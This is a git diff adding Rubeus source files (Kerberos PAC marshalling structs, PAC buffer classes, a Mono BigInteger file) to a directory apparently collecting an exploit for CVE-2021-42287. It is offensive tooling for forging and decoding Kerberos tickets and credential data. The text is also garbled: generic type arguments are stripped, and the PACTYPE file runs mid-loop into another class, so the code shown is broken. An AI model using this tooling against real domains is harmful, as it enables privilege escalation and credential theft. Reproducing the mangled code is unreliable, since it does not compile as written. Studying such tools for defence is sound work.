private void Marshal(_Marshal_Helper m) { + m.Write_33(Rubeus.Win32.Rpc.RpcUtils.CheckNull(data, "data")); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + data = u.Read_33(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 1; + } + public _CYPHER_BLOCK[] data; + public static _USER_SESSION_KEY CreateDefault() { + _USER_SESSION_KEY ret = new _USER_SESSION_KEY(); + ret.data = new _CYPHER_BLOCK[2]; + ret.data[0].data = new sbyte[8] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + ret.data[1].data = new sbyte[8] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + return ret; + } + public _USER_SESSION_KEY(_CYPHER_BLOCK[] data) { + this.data = data; + } + } + public struct _CYPHER_BLOCK : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.Write_34(Rubeus.Win32.Rpc.RpcUtils.CheckNull(data, "data")); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + data = u.Read_34(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 1; + } + public sbyte[] data; + public static _CYPHER_BLOCK CreateDefault() { + _CYPHER_BLOCK ret = new _CYPHER_BLOCK(); + ret.data = new sbyte[8]; + return ret; + } + public _CYPHER_BLOCK(sbyte[] data) { + this.data = data; + } + } + public struct _PAC_INFO_BUFFER : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt32(ulType); + m.WriteInt32(cbBufferSize); + m.WriteInt64(Offset); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + ulType = u.ReadInt32(); + cbBufferSize = u.ReadInt32(); + Offset = u.ReadInt64(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 8; + } + public int ulType; + public int cbBufferSize; + public long Offset; + public static _PAC_INFO_BUFFER CreateDefault() { + return new _PAC_INFO_BUFFER(); + } + public _PAC_INFO_BUFFER(int ulType, int cbBufferSize, long Offset) { + this.ulType = ulType; + this.cbBufferSize = cbBufferSize; + this.Offset = Offset; + } + } + public struct _NTLM_SUPPLEMENTAL_CREDENTIAL : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt32(Version); + m.WriteInt32(Flags); + m.Write_35(Rubeus.Win32.Rpc.RpcUtils.CheckNull(LmPassword, "LmPassword")); + m.Write_35(Rubeus.Win32.Rpc.RpcUtils.CheckNull(NtPassword, "NtPassword")); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + Version = u.ReadInt32(); + Flags = u.ReadInt32(); + LmPassword = u.Read_35(); + NtPassword = u.Read_35(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public int Version; + public int Flags; + public sbyte[] LmPassword; + public sbyte[] NtPassword; + public static _NTLM_SUPPLEMENTAL_CREDENTIAL CreateDefault() { + _NTLM_SUPPLEMENTAL_CREDENTIAL ret = new _NTLM_SUPPLEMENTAL_CREDENTIAL(); + ret.LmPassword = new sbyte[16]; + ret.NtPassword = new sbyte[16]; + return ret; + } + public _NTLM_SUPPLEMENTAL_CREDENTIAL(int Version, int Flags, sbyte[] LmPassword, sbyte[] NtPassword) { + this.Version = Version; + this.Flags = Flags; + this.LmPassword = LmPassword; + this.NtPassword = NtPassword; + } + } + public struct _PAC_CLIENT_INFO : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.Write_3(ClientId); + m.WriteInt16(NameLength); + m.Write_36(Rubeus.Win32.Rpc.RpcUtils.CheckNull(Name, "Name")); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + ClientId = u.Read_3(); + NameLength = u.ReadInt16(); + Name = u.Read_36(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public _GROUP_MEMBERSHIP ClientId; + public short NameLength; + public string Name; + public static _PAC_CLIENT_INFO CreateDefault() { + _PAC_CLIENT_INFO ret = new _PAC_CLIENT_INFO(); + ret.Name = new string('\0', 1); + return ret; + } + public _PAC_CLIENT_INFO(_GROUP_MEMBERSHIP ClientId, short NameLength, string Name) { + this.ClientId = ClientId; + this.NameLength = NameLength; + this.Name = Name; + } + } + public struct _S4U_DELEGATION_INFO : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.Write_10(S4U2proxyTarget); + m.WriteInt32(TransitedListSize); + m.WriteEmbeddedPointer<_RPC_UNICODE_STRING[], long>(S4UTransitedServices, new System.Action<_RPC_UNICODE_STRING[], long>(m.Write_37), TransitedListSize); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + S4U2proxyTarget = u.Read_10(); + TransitedListSize = u.ReadInt32(); + S4UTransitedServices = u.ReadEmbeddedPointer<_RPC_UNICODE_STRING[]>(new System.Func<_RPC_UNICODE_STRING[]>(u.Read_37), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public _RPC_UNICODE_STRING S4U2proxyTarget; + public int TransitedListSize; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_RPC_UNICODE_STRING[]> S4UTransitedServices; + public static _S4U_DELEGATION_INFO CreateDefault() { + return new _S4U_DELEGATION_INFO(); + } + public _S4U_DELEGATION_INFO(_RPC_UNICODE_STRING S4U2proxyTarget, int TransitedListSize, _RPC_UNICODE_STRING[] S4UTransitedServices) { + this.S4U2proxyTarget = S4U2proxyTarget; + this.TransitedListSize = TransitedListSize; + this.S4UTransitedServices = S4UTransitedServices; + } + } + public struct _PAC_CREDENTIAL_DATA : Rubeus.Ndr.Marshal.INdrConformantStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt32(CredentialCount); + m.Write_38(Rubeus.Win32.Rpc.RpcUtils.CheckNull(Credentials, "Credentials"), CredentialCount); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + CredentialCount = u.ReadInt32(); + Credentials = u.Read_38(); + } + int Rubeus.Ndr.Marshal.INdrConformantStructure.GetConformantDimensions() { + return 1; + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public int CredentialCount; + public _SECPKG_SUPPLEMENTAL_CRED[] Credentials; + public static _PAC_CREDENTIAL_DATA CreateDefault() { + _PAC_CREDENTIAL_DATA ret = new _PAC_CREDENTIAL_DATA(); + ret.Credentials = new _SECPKG_SUPPLEMENTAL_CRED[0]; + return ret; + } + public _PAC_CREDENTIAL_DATA(int CredentialCount, _SECPKG_SUPPLEMENTAL_CRED[] Credentials) { + this.CredentialCount = CredentialCount; + this.Credentials = Credentials; + } + } + public struct _SECPKG_SUPPLEMENTAL_CRED : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.Write_10(PackageName); + m.WriteInt32(CredentialSize); + m.WriteEmbeddedPointer(Credentials, new System.Action(m.Write_39), CredentialSize); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + PackageName = u.Read_10(); + CredentialSize = u.ReadInt32(); + Credentials = u.ReadEmbeddedPointer(new System.Func(u.Read_39), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public _RPC_UNICODE_STRING PackageName; + public int CredentialSize; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer Credentials; + public static _SECPKG_SUPPLEMENTAL_CRED CreateDefault() { + return new _SECPKG_SUPPLEMENTAL_CRED(); + } + public _SECPKG_SUPPLEMENTAL_CRED(_RPC_UNICODE_STRING PackageName, int CredentialSize, sbyte[] Credentials) { + this.PackageName = PackageName; + this.CredentialSize = CredentialSize; + this.Credentials = Credentials; + } + } + #endregion +} + diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/PACTYPE.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/PACTYPE.cs new file mode 100644 index 0000000..4d8636c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/PACTYPE.cs @@ -0,0 +1,97 @@ +using Rubeus.Kerberos.PAC; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + +namespace Rubeus.Kerberos { + + public class PACTYPE { + public int cBuffers; + public int Version; + public List PacInfoBuffers; + + public PACTYPE(int version, List piBuffers) { + Version = version; + cBuffers = piBuffers.Count; + PacInfoBuffers = piBuffers; + } + + public PACTYPE(byte[] data, byte[] key) { + + BinaryReader br = new BinaryReader(new MemoryStream(data)); + cBuffers = br.ReadInt32(); + Version = br.ReadInt32(); + PacInfoBuffers = new List(); + + for(int idx=0; idx(mh.WriteStruct)); + byte[] plainText = mh.ToPickledType().ToArray(); + var encData = Crypto.KerberosEncrypt(EncryptionType, Interop.KRB_KEY_USAGE_KRB_NON_KERB_SALT, key, plainText); + bw.Write(encData); + + long alignment = ((bw.BaseStream.Position + 7) / 8) * 8; + bw.BaseStream.SetLength(alignment); + + return ((MemoryStream)bw.BaseStream).ToArray(); + } + + protected override void Decode(byte[] data) { + Version = br.ReadInt32(); + EncryptionType = (Interop.KERB_ETYPE)br.ReadInt32(); + + if(key == null) { + return; + } + + var encCredData = br.ReadBytes((int)(br.BaseStream.Length - br.BaseStream.Position)); + var plainCredData = Crypto.KerberosDecrypt(EncryptionType, Interop.KRB_KEY_USAGE_KRB_NON_KERB_SALT, key, encCredData); + + NdrPickledType npt = new NdrPickledType(plainCredData); + _Unmarshal_Helper uh = new _Unmarshal_Helper(npt.Data); + CredentialInfo = uh.ReadReferentValue(uh.ReadStruct<_PAC_CREDENTIAL_DATA>,false); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/PacInfoBuffer.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/PacInfoBuffer.cs new file mode 100644 index 0000000..eafdc6b --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/PacInfoBuffer.cs @@ -0,0 +1,42 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; + +namespace Rubeus.Kerberos.PAC { + + public enum PacInfoBufferType { + LogonInfo = 1, + CredInfo = 2, + ServerChecksum = 6, + KDCChecksum = 7, + ClientName = 0xA, + S4U2Proxy = 0xb, + UpnDns = 0xc, + ClientClaims = 0xd, + DeviceInfo = 0xe, + DeviceClaims = 0xf, + TicketChecksum = 0x10, + Attributes = 0x11, + Requestor = 0x12 + } + + public abstract class PacInfoBuffer { + + protected BinaryReader br; + protected byte[] key; + + public PacInfoBufferType Type { get; set; } + + public PacInfoBuffer() {} + + public PacInfoBuffer(byte[] data, PacInfoBufferType type) { + Type = type; + br = new BinaryReader(new MemoryStream(data)); + } + + public abstract byte[] Encode(); + protected abstract void Decode(byte[] data); + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/Requestor.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/Requestor.cs new file mode 100644 index 0000000..42c9e91 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/Requestor.cs @@ -0,0 +1,44 @@ +using System.Security.Principal; + +namespace Rubeus.Kerberos.PAC +{ + public class Requestor : PacInfoBuffer + { + + public SecurityIdentifier RequestorSID { get; set; } + + public Requestor(PacInfoBufferType type) + { + this.Type = type; + } + + public Requestor(SecurityIdentifier sid) + { + Type = PacInfoBufferType.Requestor; + RequestorSID = sid; + } + + public Requestor(string sid) + { + Type = PacInfoBufferType.Requestor; + RequestorSID = new SecurityIdentifier(sid); + } + + public Requestor(byte[] data) : base(data, PacInfoBufferType.Requestor) + { + Decode(data); + } + + public override byte[] Encode() + { + byte[] binarySid = new byte[RequestorSID.BinaryLength]; + RequestorSID.GetBinaryForm(binarySid, 0); + return binarySid; + } + + protected override void Decode(byte[] data) + { + RequestorSID = new SecurityIdentifier(data, 0); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/S4UDelegationInfo.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/S4UDelegationInfo.cs new file mode 100644 index 0000000..cf27d47 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/S4UDelegationInfo.cs @@ -0,0 +1,53 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using Rubeus.Ndr; +using Rubeus.Ndr.Marshal; + +namespace Rubeus.Kerberos.PAC { + public class S4UDelegationInfo : PacInfoBuffer { + + public _S4U_DELEGATION_INFO s4u { get; set; } + + public S4UDelegationInfo() { + Type = PacInfoBufferType.S4U2Proxy; + s4u = _S4U_DELEGATION_INFO.CreateDefault(); + } + + public S4UDelegationInfo(string s4uProxyTarget, string[] s4uTransitedServices) + { + Type = PacInfoBufferType.S4U2Proxy; + _RPC_UNICODE_STRING[] tmp = new _RPC_UNICODE_STRING[s4uTransitedServices.Length]; + int c = 0; + foreach (string s4uTransitedService in s4uTransitedServices) + { + tmp[c] = new _RPC_UNICODE_STRING(s4uTransitedService); + c += 1; + } + s4u = new _S4U_DELEGATION_INFO(new _RPC_UNICODE_STRING(s4uProxyTarget), s4uTransitedServices.Length, tmp); + } + + public S4UDelegationInfo(_S4U_DELEGATION_INFO s4uInfo) : this() + { + s4u = s4uInfo; + } + + public S4UDelegationInfo(byte[] data) : base(data, PacInfoBufferType.S4U2Proxy) { + Decode(data); + } + + protected override void Decode(byte[] data) { + NdrPickledType npt = new NdrPickledType(data); + _Unmarshal_Helper uh = new _Unmarshal_Helper(npt.Data); + s4u = (_S4U_DELEGATION_INFO)uh.ReadReferentValue(uh.ReadStruct<_S4U_DELEGATION_INFO>, false); + } + + public override byte[] Encode() { + _Marshal_Helper mh = new _Marshal_Helper(); + mh.WriteReferent(s4u, new Action<_S4U_DELEGATION_INFO>(mh.WriteStruct)); + return mh.ToPickledType().ToArray(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/SignatureData.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/SignatureData.cs new file mode 100644 index 0000000..1ef5348 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/SignatureData.cs @@ -0,0 +1,46 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; + +namespace Rubeus.Kerberos.PAC { + + public class SignatureData : PacInfoBuffer { + + public Interop.KERB_CHECKSUM_ALGORITHM SignatureType { get; set; } + public byte[] Signature { get; set; } + + public SignatureData(PacInfoBufferType type) + { + this.Type = type; + } + + public SignatureData(byte[] data, PacInfoBufferType type) : base(data, type) { + Decode(data); + } + + public override byte[] Encode() { + BinaryWriter bw = new BinaryWriter(new MemoryStream()); + bw.Write((int)SignatureType); + bw.Write(Signature); + return ((MemoryStream)bw.BaseStream).ToArray(); + } + + protected override void Decode(byte[] data) { + + SignatureType = (Interop.KERB_CHECKSUM_ALGORITHM)br.ReadInt32(); + + switch (SignatureType) { + case Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5: + Signature = br.ReadBytes(16); + break; + case Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128: + case Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256: + case Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_NONE: + Signature = br.ReadBytes(12); + break; + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/UpnDns.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/UpnDns.cs new file mode 100644 index 0000000..44c88bf --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/UpnDns.cs @@ -0,0 +1,65 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; + +namespace Rubeus.Kerberos.PAC { + public class UpnDns : PacInfoBuffer { + + public short UpnLength { get; private set; } + public short UpnOffset { get; private set; } + public short DnsDomainNameLen { get; private set; } + public short DnsDomainNameOffset { get; private set; } + public int Flags { get; set; } + public string DnsDomainName { get; set; } + public string Upn { get; set; } + + public UpnDns(int flags, string dnsDomainName, string upn) { + Flags = flags; + DnsDomainName = dnsDomainName; + Upn = upn; + Type = PacInfoBufferType.UpnDns; + } + + public UpnDns(byte[] data) : base(data, PacInfoBufferType.UpnDns) { + Decode(data); + } + + public override byte[] Encode() { + + UpnOffset = 16; + UpnLength = (short)(Upn.Length * 2); + + DnsDomainNameLen = (short)(DnsDomainName.Length * 2); + DnsDomainNameOffset = (short)(UpnOffset + UpnLength); + + BinaryWriter bw = new BinaryWriter(new MemoryStream()); + bw.Write(UpnLength); + bw.Write(UpnOffset); + bw.Write(DnsDomainNameLen); + bw.Write(DnsDomainNameOffset); + bw.Write(Flags); + bw.Write(new byte[] { 0x00, 0x00, 0x00, 0x00 }); + bw.Write(Encoding.Unicode.GetBytes(Upn)); + bw.Write(Encoding.Unicode.GetBytes(DnsDomainName)); + bw.Write(new byte[] { 0x00, 0x00, 0x00, 0x00 }); + return ((MemoryStream)bw.BaseStream).ToArray(); + } + + protected override void Decode(byte[] data) { + + UpnLength = br.ReadInt16(); + UpnOffset = br.ReadInt16(); + DnsDomainNameLen = br.ReadInt16(); + DnsDomainNameOffset = br.ReadInt16(); + Flags = br.ReadInt32(); + + br.BaseStream.Position = UpnOffset; + Upn = Encoding.Unicode.GetString(br.ReadBytes(UpnLength)); + + br.BaseStream.Position = DnsDomainNameOffset; + DnsDomainName = Encoding.Unicode.GetString(br.ReadBytes(DnsDomainNameLen)); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/BigInteger.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/BigInteger.cs new file mode 100644 index 0000000..89bf7e9 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/math/BigInteger.cs @@ -0,0 +1,2221 @@ +// +// BigInteger.cs - Big Integer implementation +// +// Authors: +// Ben Maurer +// Chew Keong TAN +// Sebastien Pouliot +// Pieter Philippaerts +// +// Copyright (c) 2003 Ben Maurer +// All rights reserved +// +// Copyright (c) 2002 Chew Keong TAN +// All rights reserved. +// +// Copyright (C) 2004, 2007 Novell, Inc (http://www.novell.com) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +using System; +using System.Security.Cryptography; +using Mono.Math.Prime.Generator; +using Mono.Math.Prime; +using Mono.Math.Generator; + +namespace Mono.Math { + +#if INSIDE_CORLIB + internal +#else + public +#endif + class BigInteger { + + #region Data Storage + + /// + /// The Length of this BigInteger + /// + uint length = 1; + + /// + /// The data for this BigInteger + /// + uint[] data; + + #endregion + + #region Constants + + /// + /// Default length of a BigInteger in bytes + /// + const uint DEFAULT_LEN = 20; + + /// + /// Table of primes below 2000. + /// + /// + /// + /// This table was generated using Mathematica 4.1 using the following function: + /// + /// + /// + /// PrimeTable [x_] := Prime [Range [1, PrimePi [x]]] + /// PrimeTable [6000] + /// + /// + /// + internal static readonly uint[] smallPrimes = { + 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, + 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, + 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, + 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, + 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, + 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, + 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, + 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, + 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, + 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, + 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997, + + 1009, 1013, 1019, 1021, 1031, 1033, 1039, 1049, 1051, 1061, 1063, 1069, 1087, + 1091, 1093, 1097, 1103, 1109, 1117, 1123, 1129, 1151, 1153, 1163, 1171, 1181, + 1187, 1193, 1201, 1213, 1217, 1223, 1229, 1231, 1237, 1249, 1259, 1277, 1279, + 1283, 1289, 1291, 1297, 1301, 1303, 1307, 1319, 1321, 1327, 1361, 1367, 1373, + 1381, 1399, 1409, 1423, 1427, 1429, 1433, 1439, 1447, 1451, 1453, 1459, 1471, + 1481, 1483, 1487, 1489, 1493, 1499, 1511, 1523, 1531, 1543, 1549, 1553, 1559, + 1567, 1571, 1579, 1583, 1597, 1601, 1607, 1609, 1613, 1619, 1621, 1627, 1637, + 1657, 1663, 1667, 1669, 1693, 1697, 1699, 1709, 1721, 1723, 1733, 1741, 1747, + 1753, 1759, 1777, 1783, 1787, 1789, 1801, 1811, 1823, 1831, 1847, 1861, 1867, + 1871, 1873, 1877, 1879, 1889, 1901, 1907, 1913, 1931, 1933, 1949, 1951, 1973, + 1979, 1987, 1993, 1997, 1999, + + 2003, 2011, 2017, 2027, 2029, 2039, 2053, 2063, 2069, 2081, 2083, 2087, 2089, + 2099, 2111, 2113, 2129, 2131, 2137, 2141, 2143, 2153, 2161, 2179, 2203, 2207, + 2213, 2221, 2237, 2239, 2243, 2251, 2267, 2269, 2273, 2281, 2287, 2293, 2297, + 2309, 2311, 2333, 2339, 2341, 2347, 2351, 2357, 2371, 2377, 2381, 2383, 2389, + 2393, 2399, 2411, 2417, 2423, 2437, 2441, 2447, 2459, 2467, 2473, 2477, 2503, + 2521, 2531, 2539, 2543, 2549, 2551, 2557, 2579, 2591, 2593, 2609, 2617, 2621, + 2633, 2647, 2657, 2659, 2663, 2671, 2677, 2683, 2687, 2689, 2693, 2699, 2707, + 2711, 2713, 2719, 2729, 2731, 2741, 2749, 2753, 2767, 2777, 2789, 2791, 2797, + 2801, 2803, 2819, 2833, 2837, 2843, 2851, 2857, 2861, 2879, 2887, 2897, 2903, + 2909, 2917, 2927, 2939, 2953, 2957, 2963, 2969, 2971, 2999, + + 3001, 3011, 3019, 3023, 3037, 3041, 3049, 3061, 3067, 3079, 3083, 3089, 3109, + 3119, 3121, 3137, 3163, 3167, 3169, 3181, 3187, 3191, 3203, 3209, 3217, 3221, + 3229, 3251, 3253, 3257, 3259, 3271, 3299, 3301, 3307, 3313, 3319, 3323, 3329, + 3331, 3343, 3347, 3359, 3361, 3371, 3373, 3389, 3391, 3407, 3413, 3433, 3449, + 3457, 3461, 3463, 3467, 3469, 3491, 3499, 3511, 3517, 3527, 3529, 3533, 3539, + 3541, 3547, 3557, 3559, 3571, 3581, 3583, 3593, 3607, 3613, 3617, 3623, 3631, + 3637, 3643, 3659, 3671, 3673, 3677, 3691, 3697, 3701, 3709, 3719, 3727, 3733, + 3739, 3761, 3767, 3769, 3779, 3793, 3797, 3803, 3821, 3823, 3833, 3847, 3851, + 3853, 3863, 3877, 3881, 3889, 3907, 3911, 3917, 3919, 3923, 3929, 3931, 3943, + 3947, 3967, 3989, + + 4001, 4003, 4007, 4013, 4019, 4021, 4027, 4049, 4051, 4057, 4073, 4079, 4091, + 4093, 4099, 4111, 4127, 4129, 4133, 4139, 4153, 4157, 4159, 4177, 4201, 4211, + 4217, 4219, 4229, 4231, 4241, 4243, 4253, 4259, 4261, 4271, 4273, 4283, 4289, + 4297, 4327, 4337, 4339, 4349, 4357, 4363, 4373, 4391, 4397, 4409, 4421, 4423, + 4441, 4447, 4451, 4457, 4463, 4481, 4483, 4493, 4507, 4513, 4517, 4519, 4523, + 4547, 4549, 4561, 4567, 4583, 4591, 4597, 4603, 4621, 4637, 4639, 4643, 4649, + 4651, 4657, 4663, 4673, 4679, 4691, 4703, 4721, 4723, 4729, 4733, 4751, 4759, + 4783, 4787, 4789, 4793, 4799, 4801, 4813, 4817, 4831, 4861, 4871, 4877, 4889, + 4903, 4909, 4919, 4931, 4933, 4937, 4943, 4951, 4957, 4967, 4969, 4973, 4987, + 4993, 4999, + + 5003, 5009, 5011, 5021, 5023, 5039, 5051, 5059, 5077, 5081, 5087, 5099, 5101, + 5107, 5113, 5119, 5147, 5153, 5167, 5171, 5179, 5189, 5197, 5209, 5227, 5231, + 5233, 5237, 5261, 5273, 5279, 5281, 5297, 5303, 5309, 5323, 5333, 5347, 5351, + 5381, 5387, 5393, 5399, 5407, 5413, 5417, 5419, 5431, 5437, 5441, 5443, 5449, + 5471, 5477, 5479, 5483, 5501, 5503, 5507, 5519, 5521, 5527, 5531, 5557, 5563, + 5569, 5573, 5581, 5591, 5623, 5639, 5641, 5647, 5651, 5653, 5657, 5659, 5669, + 5683, 5689, 5693, 5701, 5711, 5717, 5737, 5741, 5743, 5749, 5779, 5783, 5791, + 5801, 5807, 5813, 5821, 5827, 5839, 5843, 5849, 5851, 5857, 5861, 5867, 5869, + 5879, 5881, 5897, 5903, 5923, 5927, 5939, 5953, 5981, 5987 + }; + + public enum Sign : int { + Negative = -1, + Zero = 0, + Positive = 1 + }; + + #region Exception Messages + const string WouldReturnNegVal = "Operation would return a negative value"; + #endregion + + #endregion + + #region Constructors + + public BigInteger() { + data = new uint[DEFAULT_LEN]; + this.length = DEFAULT_LEN; + } + + public BigInteger(Sign sign, uint len) { + this.data = new uint[len]; + this.length = len; + } + + public BigInteger(BigInteger bi) { + this.data = (uint[])bi.data.Clone(); + this.length = bi.length; + } + + public BigInteger(BigInteger bi, uint len) { + + this.data = new uint[len]; + + for (uint i = 0; i < 